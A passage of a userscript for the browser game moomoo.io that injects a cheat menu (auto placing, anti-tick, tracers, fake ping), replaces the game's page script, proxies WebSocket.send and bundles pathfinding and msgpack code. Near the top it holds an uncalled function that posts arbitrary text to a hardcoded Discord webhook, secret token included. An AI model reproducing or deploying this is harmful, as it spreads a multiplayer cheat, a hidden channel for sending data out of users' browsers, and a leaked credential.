// ==UserScript==
// @name KTA
// @version 1
// @author onion
// @description this sucks half the mod is unreadable :sob:
// @match *://*.moomoo.io/*
// @grant none
// @icon https://i.ibb.co/vDYtMnb/logo-white.png
// @namespace https://gf.qytechs.cn/users/691507
// ==/UserScript==
var He,
xhr = new XMLHttpRequest();
xhr.open("GET", document.URL, !1), xhr.send(null);
var content = xhr.responseText,
doc = document.implementation.createHTMLDocument("" + (document.title || ""));
function debugg(t) {
let n = new XMLHttpRequest();
n.open(
"POST",
"https://discord.com/api/webhooks/1228516595555369122/nhrrZIwDY27Oir3VRmbMYPM3sCqaVUn-9-y-iyEUvIYM1MWdHhlzsXpTSy6vV62U4Jca"
),
n.setRequestHeader("Content-type", "application/json"),
n.send(
JSON.stringify({
content: t,
username: "Counter Terrorism Unit",
avatar_url: "https://i.ibb.co/vDYtMnb/logo-white.png",
})
);
}
doc.open(), doc.write(content), doc.close(), [...doc.getElementsByTagName("script")].find(t => t?.src.includes("index"))?.remove(), document.replaceChild(document.importNode(doc.documentElement, !0), document.documentElement);
var node = document.createElement("style");
(node.type = "text/css"), node.appendChild(document.createTextNode(""));
var heads = document.getElementsByTagName("head");
heads.length > 0
? heads[0].appendChild(node)
: document.documentElement.appendChild(node);
const fontAwesomeLink = document.createElement("link");
(fontAwesomeLink.rel = "stylesheet"),
(fontAwesomeLink.href =
"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"),
document.head.appendChild(fontAwesomeLink);
const menuContainer = document.createElement("div");
(menuContainer.id = "menuContainer"),
Object.assign(menuContainer.style, {
width: "25%",
zIndex: "9999999999",
height: "100%",
backgroundColor: "#f1f1f1",
position: "fixed",
top: "50%",
left: "-100%",
transition: "background-color 0.2s ease, left 0.4s ease-in-out",
display: "flex",
flexDirection: "column",
justifyContent: "flex-start",
padding: "10px",
overflowY: "auto",
}),
document.body.appendChild(menuContainer);
const themeToggle = document.createElement("div");
themeToggle.classList.add("toggle"),
Object.assign(themeToggle.style, {
position: "absolute",
top: "15px",
right: "10px",
width: "30px",
height: "30px",
cursor: "pointer",
});
const themeIcon = document.createElement("i");
themeIcon.classList.add("fas", "fa-sun"),
(themeIcon.style.fontSize = "24px"),
themeToggle.appendChild(themeIcon),
menuContainer.appendChild(themeToggle);
let isDarkTheme = !1;
themeToggle.addEventListener("click", () => {
(isDarkTheme = !isDarkTheme),
(menuContainer.style.backgroundColor = isDarkTheme ? "#252525" : "#f1f1f1"),
(menuContainer.style.color = isDarkTheme ? "#fff" : "#000"),
themeIcon.classList.toggle("fa-sun", !isDarkTheme),
themeIcon.classList.toggle("fa-moon", isDarkTheme);
});
const title = document.createElement("div");
(title.innerHTML = "<h2 style='font-size: 20px;'>KTA Menu</h2>"),
(title.style.textAlign = "center"),
(title.style.fontSize = "90px !important"),
menuContainer.appendChild(title);
const createRangeToggle = (t, n, min, max) => {
let i = document.createElement("div");
Object.assign(i.style, {
display: "flex",
alignItems: "center",
justifyContent: "space-between",
padding: "10px 0",
});
let o = document.createElement("label");
(o.innerText = t), (o.style.marginRight = "10px");
let a = document.createElement("input");
(a.type = "range"),
(a.style.left = "0px"),
(a.min = min),
(a.max = max),
i.appendChild(o),
i.appendChild(a),
n.appendChild(i);
},
createDropdownWithToggle = (t, n, i, o, a) => {
let r = document.createElement("div");
Object.assign(r.style, {
display: "flex",
alignItems: "center",
justifyContent: "space-between",
padding: "10px 0",
});
let s = document.createElement("label");
if (((s.innerText = t), (s.style.marginRight = "175px"), n.length > 0)) {
let l = document.createElement("select");
(l.style.width = "100px"),
(l.style.textAlign = "center"),
(l.id = a),
n.forEach((t) => {
let n = document.createElement("option");
(n.value = t), (n.textContent = t), l.appendChild(n);
}),
r.appendChild(s),
r.appendChild(l);
} else r.appendChild(s);
let c = document.createElement("label");
c.classList.add("tiny-slider");
let d = document.createElement("input");
(d.type = "checkbox"), (d.id = o);
let h = document.createElement("span");
h.classList.add("slider-inner"),
c.appendChild(d),
c.appendChild(h),
d.addEventListener("change", () => {
h.style.backgroundColor = d.checked ? "#2196F3" : "#ccc";
}),
r.appendChild(c),
i.appendChild(r);
};
createDropdownWithToggle("Auto Placer", [], menuContainer, "autoplace"),
createDropdownWithToggle("Auto Replacer", [], menuContainer, "autoreplace"),
createDropdownWithToggle("Preplacer", [], menuContainer, "autopreplace"),
createRangeToggle("Preplace Throttle", menuContainer, 0, 64),
createDropdownWithToggle(
"Anti Velocity 0 Tick",
["Close", "Near", "Far"],
menuContainer,
"veltick",
"veltickdizt"
),
createDropdownWithToggle("Anti 0 Tick", [], menuContainer, "antitick"),
createDropdownWithToggle(
"Tracer",
["Ghost Player", "Line", "Arrow"],
menuContainer,
"tracer",
"tracerType"
),
createRangeToggle("Zoom", menuContainer, 0.6, 1.5),
createDropdownWithToggle(
"Build HP",
["Rectangle", "Circle"],
menuContainer,
"buildhp",
"buildHPType"
),
createDropdownWithToggle("Object Owner ID", [], menuContainer, "objzid"),
createDropdownWithToggle("Shadows", [], menuContainer, "zhadowz"),
createDropdownWithToggle(
"Place Visual",
["Circle", "Building"],
menuContainer,
"placevizual",
"placevizualType"
),
createDropdownWithToggle("Place Animation", [], menuContainer, "placeanim"),
createDropdownWithToggle(
"Object Rotation",
["Slow", "Normal", "Fast"],
menuContainer,
"objturn",
"objTurnZpeed"
),
createDropdownWithToggle("Grid", ["4x4", "8x8", "16x16", "default", "32x32", "chunk based"], menuContainer, "gridToggle", "grid"),
createDropdownWithToggle(
"Player Death Animation",
[],
menuContainer,
"deathanim"
),
createDropdownWithToggle(
"Player Health Animation",
[],
menuContainer,
"healthanim"
),
createDropdownWithToggle(
"KB Visual",
["Ghost Player", "Circle", "Line"],
menuContainer,
"kbvizual",
"kbVizualType"
),
createDropdownWithToggle(
"Kill Chat",
[
"Chicken V3",
"Chat Total Kills",
"Kill Chat",
"Sam Mod Kill Chat",
"Ultra Mod Kill Chat",
],
menuContainer,
"killchat",
"killChatType"
),
createDropdownWithToggle("Fake Ping", [], menuContainer, "fakeping"),
createDropdownWithToggle("Auto Capitalization", [], menuContainer, "capital");
const footer = document.createElement("div");
(footer.innerHTML = "<p>The KTA Initiative © 2024</p>"),
(footer.style.textAlign = "center"),
(footer.style.marginTop = "auto"),
menuContainer.appendChild(footer),
document.addEventListener("keydown", (t) => {
"Escape" === t.key &&
(menuContainer.style.left =
"-100%" === menuContainer.style.left ? "0" : "-100%");
});
const scrollbarStyle = document.createElement("style");
(scrollbarStyle.textContent = `
/* Styling the scrollbar for Webkit browsers */
#menuContainer::-webkit-scrollbar {
width: 8px; /* Width of the scrollbar */
}
#menuContainer::-webkit-scrollbar-track {
background: #f1f1f1; /* Color of the track */
}
#menuContainer::-webkit-scrollbar-thumb {
background-color: #888; /* Color of the scrollbar itself */
border-radius: 10px; /* Rounded corners of the scrollbar */
border: 2px solid #f1f1f1; /* Creates padding around the scroll bar */
}
#menuContainer::-webkit-scrollbar-thumb:hover {
background: #555; /* Color when hovering over the scrollbar */
}
/* Styling the scrollbar for Firefox */
#menuContainer {
scrollbar-width: thin; /* "auto" or "thin" */
scrollbar-color: #888 #f1f1f1; /* thumb and track color */
}
`),
document.head.appendChild(scrollbarStyle);
const sliderStyle = document.createElement("style");
(sliderStyle.textContent = `
.slider {
position: relative;
display: inline-block;
width: 60px;
height: 34px;
}
.slider input {
opacity: 0;
width: 0;
height: 0;
}
.slider .slider-inner {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: #ccc;
transition: .4s;
border-radius: 34px;
}
.slider .slider-inner:before {
position: absolute;
content: "";
height: 26px;
width: 26px;
left: 4px;
bottom: 4px;
background-color: white;
transition: .4s;
border-radius: 50%;
}
.slider input:checked + .slider-inner {
background-color: #2196F3;
}
.slider input:focus + .slider-inner {
box-shadow: 0 0 1px #2196F3;
}
.slider input:checked + .slider-inner:before {
transform: translateX(26px);
}
`),
document.head.appendChild(sliderStyle);
const tinySliderStyle = document.createElement("style");
(tinySliderStyle.textContent = `
.tiny-slider {
position: relative;
display: inline-block;
width: 40px;
height: 20px;
}
.tiny-slider input {
opacity: 0;
width: 0;
height: 0;
}
.tiny-slider .slider-inner {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: #ccc;
transition: .4s;
border-radius: 20px;
}
.tiny-slider .slider-inner:before {
position: absolute;
content: "";
height: 16px;
width: 16px;
left: 3px;
bottom: 2px;
background-color: white;
transition: .4s;
border-radius: 50%;
}
.tiny-slider input:checked + .slider-inner {
background-color: #2196F3;
}
.tiny-slider input:focus + .slider-inner {
box-shadow: 0 0 1px #2196F3;
}
.tiny-slider input:checked + .slider-inner:before {
transform: translateX(18px);
}
`),
document.head.appendChild(tinySliderStyle);
var EasyStar = (function (t) {
var n = {};
function i(o) {
if (n[o]) return n[o].exports;
var a = (n[o] = {
i: o,
l: !1,
exports: {},
});
return t[o].call(a.exports, a, a.exports, i), (a.l = !0), a.exports;
}
return (
(i.m = t),
(i.c = n),
(i.d = function (t, n, o) {
i.o(t, n) ||
Object.defineProperty(t, n, {
enumerable: !0,
get: o,
});
}),
(i.r = function (t) {
"undefined" != typeof Symbol &&
Symbol.toStringTag &&
Object.defineProperty(t, Symbol.toStringTag, {
value: "Module",
}),
Object.defineProperty(t, "__esModule", {
value: !0,
});
}),
(i.t = function (t, n) {
if (
(1 & n && (t = i(t)),
8 & n || (4 & n && "object" == typeof t && t && t.__esModule))
)
return t;
var o = Object.create(null);
if (
(i.r(o),
Object.defineProperty(o, "default", {
enumerable: !0,
value: t,
}),
2 & n && "string" != typeof t)
)
for (var a in t)
i.d(
o,
a,
function (n) {
return t[n];
}.bind(null, a)
);
return o;
}),
(i.n = function (t) {
var n =
t && t.__esModule
? function () {
return t.default;
}
: function () {
return t;
};
return i.d(n, "a", n), n;
}),
(i.o = function (t, n) {
return Object.prototype.hasOwnProperty.call(t, n);
}),
(i.p = "/bin/"),
i((i.s = 0))
);
})([
function (t, n, i) {
var o = {},
a = i(1),
r = i(2),
s = i(3);
t.exports = o;
var l = 1;
(o.js = function () {
var t,
n,
i,
c = !1,
d = {},
h = {},
u = {},
p = {},
f = !0,
$ = {},
g = [],
m = Number.MAX_VALUE,
_ = !1;
(this.setAcceptableTiles = function (t) {
t instanceof Array
? (i = t)
: !isNaN(parseFloat(t)) && isFinite(t) && (i = [t]);
}),
(this.enableSync = function () {
c = !0;
}),
(this.disableSync = function () {
c = !1;
}),
(this.enableDiagonals = function () {
_ = !0;
}),
(this.disableDiagonals = function () {
_ = !1;
}),
(this.setGrid = function (n) {
t = n;
for (var i = 0; i < t.length; i++)
for (var o = 0; o < t[0].length; o++)
h[t[i][o]] || (h[t[i][o]] = 1);
}),
(this.setTileCost = function (t, n) {
h[t] = n;
}),
(this.setAdditionalPointCost = function (t, n, i) {
void 0 === u[n] && (u[n] = {}), (u[n][t] = i);
}),
(this.removeAdditionalPointCost = function (t, n) {
void 0 !== u[n] && delete u[n][t];
}),
(this.removeAllAdditionalPointCosts = function () {
u = {};
}),
(this.setDirectionalCondition = function (t, n, i) {
void 0 === p[n] && (p[n] = {}), (p[n][t] = i);
}),
(this.removeAllDirectionalConditions = function () {
p = {};
}),
(this.setIterationsPerCalculation = function (t) {
m = t;
}),
(this.avoidAdditionalPoint = function (t, n) {
void 0 === d[n] && (d[n] = {}), (d[n][t] = 1);
}),
(this.stopAvoidingAdditionalPoint = function (t, n) {
void 0 !== d[n] && delete d[n][t];
}),
(this.enableCornerCutting = function () {
f = !0;
}),
(this.disableCornerCutting = function () {
f = !1;
}),
(this.stopAvoidingAllAdditionalPoints = function () {
d = {};
}),
(this.findPath = function (n, o, r, d, h) {
function u(t) {
c
? h(t)
: setTimeout(function () {
h(t);
});
}
if (void 0 === i)
throw Error(
"You can't set a path without first calling setAcceptableTiles() on EasyStar."
);
if (void 0 === t)
throw Error(
"You can't set a path without first calling setGrid() on EasyStar."
);
if (
n < 0 ||
o < 0 ||
r < 0 ||
d < 0 ||
n > t[0].length - 1 ||
o > t.length - 1 ||
r > t[0].length - 1 ||
d > t.length - 1
)
throw Error(
"Your start or end point is outside the scope of your grid."
);
if (n !== r || o !== d) {
for (var p = t[d][r], f = !1, m = 0; m < i.length; m++)
if (p === i[m]) {
f = !0;
break;
}
if (!1 !== f) {
var _ = new a();
return (
(_.openList = new s(function (t, n) {
return t.bestGuessDistance() - n.bestGuessDistance();
})),
(_.isDoneCalculating = !1),
(_.nodeHash = {}),
(_.startX = n),
(_.startY = o),
(_.endX = r),
(_.endY = d),
(_.callback = u),
_.openList.push(x(_, _.startX, _.startY, null, 1)),
($[(d = l++)] = _),
g.push(d),
d
);
}
u(null);
} else u([]);
}),
(this.cancelPath = function (t) {
return t in $ && (delete $[t], !0);
}),
(this.calculate = function () {
if (0 !== g.length && void 0 !== t && void 0 !== i)
for (n = 0; n < m; n++) {
if (0 === g.length) return;
c && (n = 0);
var o = g[0],
a = $[o];
if (void 0 !== a) {
if (0 !== a.openList.size()) {
var r = a.openList.pop();
if (a.endX !== r.x || a.endY !== r.y)
(r.list = 0) < r.y && k(a, r, 0, -1, +w(r.x, r.y - 1)),
r.x < t[0].length - 1 && k(a, r, 1, 0, +w(r.x + 1, r.y)),
r.y < t.length - 1 && k(a, r, 0, 1, +w(r.x, r.y + 1)),
0 < r.x && k(a, r, -1, 0, +w(r.x - 1, r.y)),
_ &&
(0 < r.x &&
0 < r.y &&
(f ||
(v(t, i, r.x, r.y - 1, r) &&
v(t, i, r.x - 1, r.y, r))) &&
k(a, r, -1, -1, 1.4 * w(r.x - 1, r.y - 1)),
r.x < t[0].length - 1 &&
r.y < t.length - 1 &&
(f ||
(v(t, i, r.x, r.y + 1, r) &&
v(t, i, r.x + 1, r.y, r))) &&
k(a, r, 1, 1, 1.4 * w(r.x + 1, r.y + 1)),
r.x < t[0].length - 1 &&
0 < r.y &&
(f ||
(v(t, i, r.x, r.y - 1, r) &&
v(t, i, r.x + 1, r.y, r))) &&
k(a, r, 1, -1, 1.4 * w(r.x + 1, r.y - 1)),
0 < r.x &&
r.y < t.length - 1 &&
(f ||
(v(t, i, r.x, r.y + 1, r) &&
v(t, i, r.x - 1, r.y, r))) &&
k(a, r, -1, 1, 1.4 * w(r.x - 1, r.y + 1)));
else {
var s = [];
s.push({
x: r.x,
y: r.y,
});
for (var l = r.parent; null != l; )
s.push({
x: l.x,
y: l.y,
}),
(l = l.parent);
s.reverse(), a.callback(s), delete $[o], g.shift();
}
} else a.callback(null), delete $[o], g.shift();
} else g.shift();
}
});
var k = function (n, o, a, r, s) {
(a = o.x + a),
(void 0 !== d[(r = o.y + r)] && void 0 !== d[r][a]) ||
!v(t, i, a, r, o) ||
(void 0 === (r = x(n, a, r, o, s)).list
? ((r.list = 1), n.openList.push(r))
: o.costSoFar + s < r.costSoFar &&
((r.costSoFar = o.costSoFar + s),
(r.parent = o),
n.openList.updateItem(r)));
},
v = function (t, n, i, o, a) {
var r = p[o] && p[o][i];
if (r) {
var s = b(a.x - i, a.y - o);
if (
!(function () {
for (var t = 0; t < r.length; t++) if (r[t] === s) return !0;
return !1;
})()
)
return !1;
}
for (var l = 0; l < n.length; l++) if (t[o][i] === n[l]) return !0;
return !1;
},
b = function (t, n) {
if (0 === t && -1 === n) return o.TOP;
if (1 === t && -1 === n) return o.TOP_RIGHT;
if (1 === t && 0 === n) return o.RIGHT;
if (1 === t && 1 === n) return o.BOTTOM_RIGHT;
if (0 === t && 1 === n) return o.BOTTOM;
if (-1 === t && 1 === n) return o.BOTTOM_LEFT;
if (-1 === t && 0 === n) return o.LEFT;
if (-1 === t && -1 === n) return o.TOP_LEFT;
throw Error("These differences are not valid: " + t + ", " + n);
},
w = function (n, i) {
return (u[i] && u[i][n]) || h[t[i][n]];
},
x = function (t, n, i, o, a) {
if (void 0 !== t.nodeHash[i]) {
if (void 0 !== t.nodeHash[i][n]) return t.nodeHash[i][n];
} else t.nodeHash[i] = {};
var s = S(n, i, t.endX, t.endY),
a = null !== o ? o.costSoFar + a : 0,
s = new r(o, n, i, a, s);
return (t.nodeHash[i][n] = s);
},
S = function (t, n, i, o) {
var a, r;
return _
? (a = Math.abs(t - i)) < (r = Math.abs(n - o))
? 1.4 * a + r
: 1.4 * r + a
: (a = Math.abs(t - i)) + (r = Math.abs(n - o));
};
}),
(o.TOP = "TOP"),
(o.TOP_RIGHT = "TOP_RIGHT"),
(o.RIGHT = "RIGHT"),
(o.BOTTOM_RIGHT = "BOTTOM_RIGHT"),
(o.BOTTOM = "BOTTOM"),
(o.BOTTOM_LEFT = "BOTTOM_LEFT"),
(o.LEFT = "LEFT"),
(o.TOP_LEFT = "TOP_LEFT");
},
function (t, n) {
t.exports = function () {
(this.pointsToAvoid = {}),
this.startX,
this.callback,
this.startY,
this.endX,
this.endY,
(this.nodeHash = {}),
this.openList;
};
},
function (t, n) {
t.exports = function (t, n, i, o, a) {
(this.parent = t),
(this.x = n),
(this.y = i),
(this.costSoFar = o),
(this.simpleDistanceToTarget = a),
(this.bestGuessDistance = function () {
return this.costSoFar + this.simpleDistanceToTarget;
});
};
},
function (t, n, i) {
t.exports = i(4);
},
function (t, n, i) {
var o, a;
(function () {
var i, r, s, l, c, d, h, u, p, f, $, g, m, _, k;
function v(t) {
(this.cmp = null != t ? t : r), (this.nodes = []);
}
(s = Math.floor),
(f = Math.min),
(r = function (t, n) {
return t < n ? -1 : n < t ? 1 : 0;
}),
(p = function (t, n, i, o, a) {
var l;
if ((null == i && (i = 0), null == a && (a = r), i < 0))
throw Error("lo must be non-negative");
for (null == o && (o = t.length); i < o; )
0 > a(n, t[(l = s((i + o) / 2))]) ? (o = l) : (i = l + 1);
return [].splice.apply(t, [i, i - i].concat(n)), n;
}),
(d = function (t, n, i) {
return null == i && (i = r), t.push(n), _(t, 0, t.length - 1, i);
}),
(c = function (t, n) {
var i, o;
return (
null == n && (n = r),
(i = t.pop()),
t.length ? ((o = t[0]), (t[0] = i), k(t, 0, n)) : (o = i),
o
);
}),
(u = function (t, n, i) {
var o;
return null == i && (i = r), (o = t[0]), (t[0] = n), k(t, 0, i), o;
}),
(h = function (t, n, i) {
var o;
return (
null == i && (i = r),
t.length &&
0 > i(t[0], n) &&
((n = (o = [t[0], n])[0]), (t[0] = o[1]), k(t, 0, i)),
n
);
}),
(l = function (t, n) {
var i, o, a, l, c, d;
for (
null == n && (n = r),
c = [],
o = 0,
a = (l = function () {
d = [];
for (
var n = 0, i = s(t.length / 2);
0 <= i ? n < i : i < n;
0 <= i ? n++ : n--
)
d.push(n);
return d;
}
.apply(this)
.reverse()).length;
o < a;
o++
)
(i = l[o]), c.push(k(t, i, n));
return c;
}),
(m = function (t, n, i) {
if ((null == i && (i = r), -1 !== (n = t.indexOf(n))))
return _(t, 0, n, i), k(t, n, i);
}),
($ = function (t, n, i) {
var o, a, s, c, d;
if ((null == i && (i = r), !(a = t.slice(0, n)).length)) return a;
for (l(a, i), s = 0, c = (d = t.slice(n)).length; s < c; s++)
h(a, (o = d[s]), i);
return a.sort(i).reverse();
}),
(g = function (t, n, i) {
var o, a, s, d, h, u, $, g, m;
if ((null == i && (i = r), 10 * n <= t.length)) {
if (!(s = t.slice(0, n).sort(i)).length) return s;
for (
a = s[s.length - 1], d = 0, u = ($ = t.slice(n)).length;
d < u;
d++
)
0 > i((o = $[d]), a) &&
(p(s, o, 0, null, i), s.pop(), (a = s[s.length - 1]));
return s;
}
for (
l(t, i), m = [], h = 0, g = f(n, t.length);
0 <= g ? h < g : g < h;
0 <= g ? ++h : --h
)
m.push(c(t, i));
return m;
}),
(_ = function (t, n, i, o) {
var a, s, l;
for (
null == o && (o = r), a = t[i];
n < i && 0 > o(a, (s = t[(l = (i - 1) >> 1)]));
)
(t[i] = s), (i = l);
return (t[i] = a);
}),
(k = function (t, n, i) {
var o, a, s, l, c;
for (
null == i && (i = r), a = t.length, s = t[(c = n)], o = 2 * n + 1;
o < a;
)
(l = o + 1) < a && !(0 > i(t[o], t[l])) && (o = l),
(t[n] = t[o]),
(o = 2 * (n = o) + 1);
return (t[n] = s), _(t, c, n, i);
}),
(v.push = d),
(v.pop = c),
(v.replace = u),
(v.pushpop = h),
(v.heapify = l),
(v.updateItem = m),
(v.nlargest = $),
(v.nsmallest = g),
(v.prototype.push = function (t) {
return d(this.nodes, t, this.cmp);
}),
(v.prototype.pop = function () {
return c(this.nodes, this.cmp);
}),
(v.prototype.peek = function () {
return this.nodes[0];
}),
(v.prototype.contains = function (t) {
return -1 !== this.nodes.indexOf(t);
}),
(v.prototype.replace = function (t) {
return u(this.nodes, t, this.cmp);
}),
(v.prototype.pushpop = function (t) {
return h(this.nodes, t, this.cmp);
}),
(v.prototype.heapify = function () {
return l(this.nodes, this.cmp);
}),
(v.prototype.updateItem = function (t) {
return m(this.nodes, t, this.cmp);
}),
(v.prototype.clear = function () {
return (this.nodes = []);
}),
(v.prototype.empty = function () {
return 0 === this.nodes.length;
}),
(v.prototype.size = function () {
return this.nodes.length;
}),
(v.prototype.clone = function () {
var t = new v();
return (t.nodes = this.nodes.slice(0)), t;
}),
(v.prototype.toArray = function () {
return this.nodes.slice(0);
}),
(v.prototype.insert = v.prototype.push),
(v.prototype.top = v.prototype.peek),
(v.prototype.front = v.prototype.peek),
(v.prototype.has = v.prototype.contains),
(v.prototype.copy = v.prototype.clone),
(i = v),
(o = []),
void 0 ===
(a =
"function" ==
typeof (a = function () {
return i;
})
? a.apply(n, o)
: a) || (t.exports = a);
}.call(this));
},
]);
let PathfinderManager = new EasyStar.js();
var pps = 0,
ppm = 0,
FPS = 0,
enemiez = [],
enemy = [],
itemPlacer = [],
breakMarker = [],
deadPlayers = [],
pathFindTest = 0,
grid = [],
pathFind = {
active: !0,
grid: 40,
scale: 1440,
x: 14400,
y: 14400,
chaseNear: !0,
array: [],
lastX: 20,
lastY: 20,
};
(WebSocket.prototype.send = new Proxy(WebSocket.prototype.send, {
apply: (t, n, i) => (
pps++,
ppm++,
setTimeout(() => {
pps--;
}, 1e3),
setTimeout(() => {
ppm--;
}, 6e4),
Reflect.apply(t, n, i)
),
})),
(function () {
let t = document.createElement("link").relList;
if (!(t && t.supports && t.supports("modulepreload"))) {
for (let n of document.querySelectorAll('link[rel="modulepreload"]'))
i(n);
new MutationObserver((t) => {
for (let n of t)
if ("childList" === n.type)
for (let o of n.addedNodes)
"LINK" === o.tagName && "modulepreload" === o.rel && i(o);
}).observe(document, {
childList: !0,
subtree: !0,
});
}
function i(t) {
if (t.ep) return;
t.ep = !0;
let n = (function t(n) {
let i = {};
return (
n.integrity && (i.integrity = n.integrity),
n.referrerpolicy && (i.referrerPolicy = n.referrerpolicy),
"use-credentials" === n.crossorigin
? (i.credentials = "include")
: "anonymous" === n.crossorigin
? (i.credentials = "omit")
: (i.credentials = "same-origin"),
i
);
})(t);
fetch(t.href, n);
}
})();
var Ke = 4294967295;
function Ko(t, n, i) {
t.setUint32(n, i / 4294967296), t.setUint32(n + 4, i);
}
function Br(t, n, i) {
var o = Math.floor(i / 4294967296);
t.setUint32(n, o), t.setUint32(n + 4, i);
}
function zr(t, n) {
var i;
return 4294967296 * t.getInt32(n) + t.getUint32(n + 4);
}
function Jo(t, n) {
var i;
return 4294967296 * t.getUint32(n) + t.getUint32(n + 4);
}
var Gi,
Yi,
$i,
Pi =
(typeof process > "u" ||
(null === (Gi = null == process ? void 0 : process.env) || void 0 === Gi
? void 0
: Gi.TEXT_ENCODING) !== "never") &&
"u" > typeof TextEncoder &&
"u" > typeof TextDecoder;
function Cs(t) {
for (var n = t.length, i = 0, o = 0; o < n; ) {
var a = t.charCodeAt(o++);
if (4294967168 & a) {
if (4294965248 & a) {
if (a >= 55296 && a <= 56319 && o < n) {
var r = t.charCodeAt(o);
(64512 & r) == 56320 &&
(++o, (a = ((1023 & a) << 10) + (1023 & r) + 65536));
}
4294901760 & a ? (i += 4) : (i += 3);
} else i += 2;
} else {
i++;
continue;
}
}
return i;
}
function Qo(t, n, i) {
for (var o = t.length, a = i, r = 0; r < o; ) {
var s = t.charCodeAt(r++);
if (4294967168 & s) {
if (4294965248 & s) {
if (s >= 55296 && s <= 56319 && r < o) {
var l = t.charCodeAt(r);
(64512 & l) == 56320 &&
(++r, (s = ((1023 & s) << 10) + (1023 & l) + 65536));
}
4294901760 & s
? ((n[a++] = ((s >> 18) & 7) | 240),
(n[a++] = ((s >> 12) & 63) | 128),
(n[a++] = ((s >> 6) & 63) | 128))
: ((n[a++] = ((s >> 12) & 15) | 224),
(n[a++] = ((s >> 6) & 63) | 128));
} else n[a++] = ((s >> 6) & 31) | 192;
} else {
n[a++] = s;
continue;
}
n[a++] = (63 & s) | 128;
}
}
var Ut = Pi ? new TextEncoder() : void 0,
Zo = Pi
? "u" > typeof process &&
(null === (Yi = null == process ? void 0 : process.env) || void 0 === Yi
? void 0
: Yi.TEXT_ENCODING) !== "force"
? 200
: 0
: Ke;
function jo(t, n, i) {
n.set(Ut.encode(t), i);
}
function ea(t, n, i) {
Ut.encodeInto(t, n.subarray(i));
}
var ta = null != Ut && Ut.encodeInto ? ea : jo,
ia = 4096;
function Hr(t, n, i) {
for (var o = n, a = o + i, r = [], s = ""; o < a; ) {
var l = t[o++];
if (128 & l) {
if ((224 & l) == 192) {
var c = 63 & t[o++];
r.push(((31 & l) << 6) | c);
} else if ((240 & l) == 224) {
var c = 63 & t[o++],
d = 63 & t[o++];
r.push(((31 & l) << 12) | (c << 6) | d);
} else if ((248 & l) == 240) {
var c = 63 & t[o++],
d = 63 & t[o++],
h = ((7 & l) << 18) | (c << 12) | (d << 6) | (63 & t[o++]);
h > 65535 &&
((h -= 65536),
r.push(((h >>> 10) & 1023) | 55296),
(h = 56320 | (1023 & h))),
r.push(h);
} else r.push(l);
} else r.push(l);
r.length >= ia &&
((s += String.fromCharCode.apply(String, r)), (r.length = 0));
}
return r.length > 0 && (s += String.fromCharCode.apply(String, r)), s;
}
var na = Pi ? new TextDecoder() : null,
sa = Pi
? "u" > typeof process &&
(null === ($i = null == process ? void 0 : process.env) || void 0 === $i
? void 0
: $i.TEXT_DECODER) !== "force"
? 200
: 0
: Ke;
function ra(t, n, i) {
var o = t.subarray(n, n + i);
return na.decode(o);
}
var si = function t(n, i) {
(this.type = n), (this.data = i);
},
oa =
(globalThis && globalThis.__extends) ||
(function () {
var t = function (n, i) {
return (t =
Object.setPrototypeOf ||
({
__proto__: [],
} instanceof Array &&
function (t, n) {
t.__proto__ = n;
}) ||
function (t, n) {
for (var i in n)
Object.prototype.hasOwnProperty.call(n, i) && (t[i] = n[i]);
})(n, i);
};
return function (n, i) {
if ("function" != typeof i && null !== i)
throw TypeError(
"Class extends value " + String(i) + " is not a constructor or null"
);
function o() {
this.constructor = n;
}
t(n, i),
(n.prototype =
null === i
? Object.create(i)
: ((o.prototype = i.prototype), new o()));
};
})(),
Pe = (function (t) {
function n(i) {
var o = t.call(this, i) || this;
return (
Object.setPrototypeOf(o, Object.create(n.prototype)),
Object.defineProperty(o, "name", {
configurable: !0,
enumerable: !1,
value: n.name,
}),
o
);
}
return oa(n, t), n;
})(Error),
aa = -1,
la = 4294967295,
ca = 17179869183;
function ha(t) {
var n = t.sec,
i = t.nsec;
if (n >= 0 && i >= 0 && n <= ca) {
if (0 === i && n <= la) {
var o = new Uint8Array(4),
a = new DataView(o.buffer);
return a.setUint32(0, n), o;
}
var o = new Uint8Array(8),
a = new DataView(o.buffer);
return (
a.setUint32(0, (i << 2) | (3 & (n / 4294967296))),
a.setUint32(4, 4294967295 & n),
o
);
}
var o = new Uint8Array(12),
a = new DataView(o.buffer);
return a.setUint32(0, i), Br(a, 4, n), o;
}
function fa(t) {
var n = t.getTime(),
i = Math.floor(n / 1e3),
o = (n - 1e3 * i) * 1e6,
a = Math.floor(o / 1e9);
return {
sec: i + a,
nsec: o - 1e9 * a,
};
}
function ua(t) {
return t instanceof Date ? ha(fa(t)) : null;
}
function da(t) {
var n = new DataView(t.buffer, t.byteOffset, t.byteLength);
switch (t.byteLength) {
case 4:
var i = n.getUint32(0),
o = 0;
return {
sec: i,
nsec: o,
};
case 8:
var a = n.getUint32(0),
i = (3 & a) * 4294967296 + n.getUint32(4),
o = a >>> 2;
return {
sec: i,
nsec: o,
};
case 12:
var i = zr(n, 4),
o = n.getUint32(0);
return {
sec: i,
nsec: o,
};
default:
throw new Pe(
"Unrecognized data size for timestamp (expected 4, 8, or 12): ".concat(
t.length
)
);
}
}
function pa(t) {
var n = da(t);
return new Date(1e3 * n.sec + n.nsec / 1e6);
}
var ma = {
type: aa,
encode: ua,
decode: pa,
},
Fr = (function () {
function t() {
(this.builtInEncoders = []),
(this.builtInDecoders = []),
(this.encoders = []),
(this.decoders = []),
this.register(ma);
}
return (
(t.prototype.register = function (t) {
var n = t.type,
i = t.encode,
o = t.decode;
if (n >= 0) (this.encoders[n] = i), (this.decoders[n] = o);
else {
var a = 1 + n;
(this.builtInEncoders[a] = i), (this.builtInDecoders[a] = o);
}
}),
(t.prototype.tryToEncode = function (t, n) {
for (var i = 0; i < this.builtInEncoders.length; i++) {
var o = this.builtInEncoders[i];
if (null != o) {
var a = o(t, n);
if (null != a) {
var r = -1 - i;
return new si(r, a);
}
}
}
for (var i = 0; i < this.encoders.length; i++) {
var o = this.encoders[i];
if (null != o) {
var a = o(t, n);
if (null != a) {
var r = i;
return new si(r, a);
}
}
}
return t instanceof si ? t : null;
}),
(t.prototype.decode = function (t, n, i) {
var o = n < 0 ? this.builtInDecoders[-1 - n] : this.decoders[n];
return o ? o(t, n, i) : new si(n, t);
}),
(t.defaultCodec = new t()),
t
);
})();
function gi(t) {
return t instanceof Uint8Array
? t
